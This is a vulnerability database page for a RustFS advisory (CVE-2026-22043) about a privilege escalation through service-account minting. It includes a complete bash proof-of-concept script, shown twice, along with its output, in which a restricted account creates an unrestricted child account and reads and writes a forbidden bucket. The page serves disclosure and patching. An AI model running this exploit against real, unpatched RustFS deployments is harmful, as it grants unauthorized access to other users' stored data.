GHSA-XGR5-QC6W-VCG9

Vulnerability from github – Published: 2026-01-08 20:40 – Updated: 2026-01-08 20:40
VLAI?
Summary
RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting
Details

Summary

A flawed deny_only short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.

Details

akin to MinIO CVE-2025-62506

  • Policy evaluation: Policy::is_allowed returns true when deny_only=true if no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74).
  • Service account creation path sets deny_only=true when the target user equals the caller or its parent (rustfs/src/admin/handlers/service_account.rs:114-127).
  • Service accounts are created without session_policy by default, so claims lack SESSION_POLICY_NAME; combined with deny_only, self-operations are allowed without Allow statements.
  • Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.

Key code references:

  • crates/policy/src/policy/policy.rs (deny_only short-circuit)
  • rustfs/src/admin/handlers/service_account.rs: (deny_only set for self/parent target)
  • crates/iam/src/sys.rs (service account creation defaults, no session_policy)

PoC

Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:

#!/usr/bin/env bash
set -euo pipefail

# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"

# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"

# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost

# ===================== Helpers =====================
aws_cmd() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}

awscurl_admin() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
    "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}

timestamp_iso() {
  python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}

# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
  awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done

echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done

# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done

echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt

EXP="$(timestamp_iso)"

echo "[+] create restricted policy"
RESTRICTED_POLICY='{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:ListBucket"],
      "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
    },
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
    }
  ]
}'

echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
  > /tmp/restricted_sa.json
cat /tmp/restricted_sa.json

echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls

echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
  > /tmp/child_sa.json
cat /tmp/child_sa.json

echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
  echo "child list bucket3: SUCCESS (vuln)"
else
  echo "child list bucket3: DENIED"
fi

echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
  echo "child read marker: SUCCESS (vuln). Content:"
  cat /tmp/poc-marker.txt
else
  echo "child read marker: DENIED"
fi

echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
  echo "child write: SUCCESS (vuln)"
else
  echo "child write: DENIED"
fi

PoC steps (in poc.sh):

1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt. 2) Create restricted policy (List/Get/Put only on bucket1/2). 3) Create restricted service account restricted/restricted123 with that policy. 4) With restricted, create child service account evilchild/evilchild123 without policy (deny_only short-circuit). 5) With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.

Result:

./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17         11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)

Impact

Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-alpha.78"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-alpha.13"
            },
            {
              "fixed": "1.0.0-alpha.79"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-08T20:40:06Z",
    "nvd_published_at": "2026-01-08T15:15:45Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent\u2019s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.\n\n## Details\n\n**akin to MinIO CVE-2025-62506**\n\n- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).\n- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).\n- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.\n- Result: a limited service account/STS can create a new service account without policy and obtain the parent\u2019s full rights (even root), bypassing original restrictions.\n\nKey code references:\n\n- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)\n- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)\n- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)\n\n## PoC\n\nRequires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ===================== Config =====================\nENDPOINT=\"${ENDPOINT:-http://127.0.0.1:9000}\"\nROOT_AK=\"${ROOT_AK:-rustfsadmin}\"\nROOT_SK=\"${ROOT_SK:-rustfsadmin}\"\nPARENT_AK=\"${PARENT_AK:-restricted}\"\nPARENT_SK=\"${PARENT_SK:-restricted123}\"\nCHILD_AK=\"${CHILD_AK:-evilchild}\"\nCHILD_SK=\"${CHILD_SK:-evilchild123}\"\nAWS_REGION=\"${AWS_REGION:-us-east-1}\"\n\n# Tools\nAWSCURL_BIN=\"${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}\"\nAWS_BIN=\"${AWS_BIN:-aws}\"\nJQ_BIN=\"${JQ_BIN:-jq}\"\n\n# Disable proxies for local endpoint\nexport HTTP_PROXY=\nexport HTTPS_PROXY=\nexport NO_PROXY=127.0.0.1,localhost\n\n# ===================== Helpers =====================\naws_cmd() {\n  local ak=\"$1\" sk=\"$2\"\n  shift 2\n  AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \"$AWS_BIN\" --endpoint-url \"$ENDPOINT\" \"$@\"\n}\n\nawscurl_admin() {\n  local ak=\"$1\" sk=\"$2\"\n  shift 2\n  AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \\\n    \"$AWSCURL_BIN\" --service s3 --region \"$AWS_REGION\" --access_key \"$ak\" --secret_key \"$sk\" \"$@\"\n}\n\ntimestamp_iso() {\n  python - \u003c\u003c\u0027PY\u0027\nimport datetime\nprint((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())\nPY\n}\n\n# ===================== Cleanup =====================\necho \"[+] cleanup service accounts (ignore errors)\"\nfor ak in \"$CHILD_AK\" \"$PARENT_AK\"; do\n  awscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X DELETE \"$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak\" \u003e/dev/null 2\u003e\u00261 || true\ndone\n\necho \"[+] cleanup buckets\"\nfor b in bucket1 bucket2 bucket3; do\n  aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 rb \"s3://$b\" --force \u003e/dev/null 2\u003e\u00261 || true\ndone\n\n# ===================== Setup =====================\necho \"[+] create buckets\"\nfor b in bucket1 bucket2 bucket3; do\n  aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 mb \"s3://$b\" || true\ndone\n\necho \"[+] seed bucket3 with marker object\"\nprintf \"poc-marker\\n\" | aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 cp - s3://bucket3/poc-marker.txt\n\nEXP=\"$(timestamp_iso)\"\n\necho \"[+] create restricted policy\"\nRESTRICTED_POLICY=\u0027{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:ListBucket\"],\n      \"Resource\": [\"arn:aws:s3:::bucket1\", \"arn:aws:s3:::bucket2\"]\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:GetObject\", \"s3:PutObject\"],\n      \"Resource\": [\"arn:aws:s3:::bucket1/*\", \"arn:aws:s3:::bucket2/*\"]\n    }\n  ]\n}\u0027\n\necho \"[+] create restricted service account\"\nawscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"$(\"$JQ_BIN\" -nc --arg ak \"$PARENT_AK\" --arg sk \"$PARENT_SK\" --arg policy \"$RESTRICTED_POLICY\" --arg exp \"$EXP\" \\\n      \u0027{accessKey:$ak, secretKey:$sk, policy:$policy, name:\"restricted-sa\", expiration:$exp}\u0027)\" \\\n  \u003e /tmp/restricted_sa.json\ncat /tmp/restricted_sa.json\n\necho \"[+] list buckets as restricted (expect bucket1,bucket2 only)\"\naws_cmd \"$PARENT_AK\" \"$PARENT_SK\" s3 ls\n\necho \"[+] create child service account without policy (trigger deny_only)\"\nawscurl_admin \"$PARENT_AK\" \"$PARENT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"$(\"$JQ_BIN\" -nc --arg ak \"$CHILD_AK\" --arg sk \"$CHILD_SK\" --arg exp \"$EXP\" \\\n      \u0027{accessKey:$ak, secretKey:$sk, name:\"child-sa\", expiration:$exp}\u0027)\" \\\n  \u003e /tmp/child_sa.json\ncat /tmp/child_sa.json\n\necho \"[+] child tries to list bucket3 (should be denied; success means vuln)\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 ls s3://bucket3; then\n  echo \"child list bucket3: SUCCESS (vuln)\"\nelse\n  echo \"child list bucket3: DENIED\"\nfi\n\necho \"[+] child tries to read marker from bucket3\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then\n  echo \"child read marker: SUCCESS (vuln). Content:\"\n  cat /tmp/poc-marker.txt\nelse\n  echo \"child read marker: DENIED\"\nfi\n\necho \"[+] child tries to write new object into bucket3\"\nif printf \"child-write\\n\" | aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp - s3://bucket3/child-write.txt; then\n  echo \"child write: SUCCESS (vuln)\"\nelse\n  echo \"child write: DENIED\"\nfi\n\n```\n\nPoC steps (in `poc.sh`):\n\n1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`.\n2) Create restricted policy (List/Get/Put only on bucket1/2).\n3) Create restricted service account `restricted/restricted123` with that policy.\n4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit).\n5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.\n\nResult:\n\n```text\n./poc.sh\n[+] cleanup service accounts (ignore errors)\n[+] cleanup buckets\n[+] create buckets\nmake_bucket: bucket1\nmake_bucket: bucket2\nmake_bucket: bucket3\n[+] seed bucket3 with marker object\n[+] create restricted policy\n[+] create restricted service account\n{\"credentials\":{\"accessKey\":\"restricted\",\"secretKey\":\"restricted123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] list buckets as restricted (expect bucket1,bucket2 only)\n2025-12-16 18:51:16 bucket1\n2025-12-16 18:51:16 bucket2\n[+] create child service account without policy (trigger deny_only)\n{\"credentials\":{\"accessKey\":\"evilchild\",\"secretKey\":\"evilchild123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] child tries to list bucket3 (should be denied; success means vuln)\n2025-12-16 18:51:17         11 poc-marker.txt\nchild list bucket3: SUCCESS (vuln)\n[+] child tries to read marker from bucket3\ndownload: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt\nchild read marker: SUCCESS (vuln). Content:\npoc-marker\n[+] child tries to write new object into bucket3\nchild write: SUCCESS (vuln)\n```\n\n## Impact\n\nPrivilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.",
  "id": "GHSA-xgr5-qc6w-vcg9",
  "modified": "2026-01-08T20:40:06Z",
  "published": "2026-01-08T20:40:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustfs/rustfs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…